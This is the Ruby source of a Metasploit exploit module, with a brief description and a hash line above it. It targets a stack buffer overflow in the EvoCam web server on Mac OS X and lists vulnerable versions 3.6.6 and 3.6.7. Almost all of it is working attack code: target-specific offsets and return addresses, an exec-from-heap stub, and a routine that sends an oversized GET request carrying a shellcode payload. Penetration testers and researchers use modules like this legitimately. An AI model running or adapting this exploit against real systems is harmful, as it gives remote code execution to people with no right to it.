This Metasploit module exploits a stack overflow in the web server provided with the EvoCam program for Mac OS X. We use Dino Dai Zovi's exec-from-heap technique to copy the payload from the non-executable stack segment to heap memory. Vulnerable versions include 3.6.6, 3.6.7, and possibly earlier versions as well. EvoCam version 3.6.8 fixes the vulnerability.
1c923c534030db638a49cbc2059c3e52cb7a34e60ab4c8b6bd58d2cf5b383ff5
##
# $Id: evocam_webserver.rb 9460 2010-06-09 18:41:58Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = AverageRanking
include Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'MacOS X EvoCam HTTP GET Overflow',
'Description' => %q{
This module exploits a stack overflow in the web server provided with the EvoCam
program for Mac OS X. We use Dino Dai Zovi's exec-from-heap technique to copy the payload
from the non-executable stack segment to heap memory. Vulnerable versions include 3.6.6,
3.6.7, and possibly earlier versions as well. EvoCam version 3.6.8 fixes the vulnerablity.
},
'Author' =>
[
'Paul Harrington', # Original Exploit Author and MSF Module
'dookie', # MSF Module Assistance
],
'Version' => '$Revision: 9460 $',
'Platform' => 'osx',
'License' => MSF_LICENSE,
'References' =>
[
['OSVDB', '65043'],
['URL', 'http://www.exploit-db.com/exploits/12835'],
],
'Payload' =>
{
'Space' => 300,
'BadChars' => "\x00\xff\x09\x0a\x0b\x0c\x0c\x0d\x20",
'StackAdjustment' => -3500,
},
'Privileged' => false,
'Targets' =>
[
[ 'Mac OS X 10.5.8 x86, EvoCam 3.6.6',
{
'Arch' => ARCH_X86,
'Offset' => 1560,
'Writable' => 0x8fe66448,
'setjmp' => 0x8fe1cf38,
'strdup' => 0x8fe210dc,
'jmp_eax' => 0x8fe01041
}
],
[ 'Mac OS X 10.5.8 x86, EvoCam 3.6.7',
{
'Arch' => ARCH_X86,
'Offset' => 1308,
'Writable' => 0x8fe66448,
'setjmp' => 0x8fe1cf38,
'strdup' => 0x8fe210dc,
'jmp_eax' => 0x8fe01041
}
],
],
'DisclosureDate' => 'Jun 01 2010',
'DefaultTarget' => 1))
register_options(
[
Opt::RPORT(8080),
], self.class)
end
def make_exec_payload_from_heap_stub()
frag0 =
"\x90" + # nop
"\x58" + # pop eax
"\x61" + # popa
"\xc3" # ret
frag1 =
"\x90" + # nop
"\x58" + # pop eax
"\x89\xe0" + # mov eax, esp
"\x83\xc0\x0e" + # add eax, byte +0xc
"\x89\x44\x24\x08" + # mov [esp+0x8], eax
"\xc3" # ret
setjmp = target['setjmp']
writable = target['Writable']
strdup = target['strdup']
jmp_eax = target['jmp_eax']
exec_payload_from_heap_stub =
frag0 +
[setjmp].pack('V') +
[writable + 32, writable].pack("V2") +
frag1 +
"X" * 20 +
[setjmp].pack('V') +
[writable + 24, writable, strdup, jmp_eax].pack("V4") +
"X" * 4
end
def exploit
connect
offset = target['Offset']
buffer = "GET "
buffer << rand_text_alpha_upper(offset)
buffer << make_exec_payload_from_heap_stub()
buffer << "\x90\x90"
buffer << payload.encoded
buffer << " HTTP/1.0\r\n\r\n"
sock.put(buffer)
sock.close
handler()
disconnect
end
end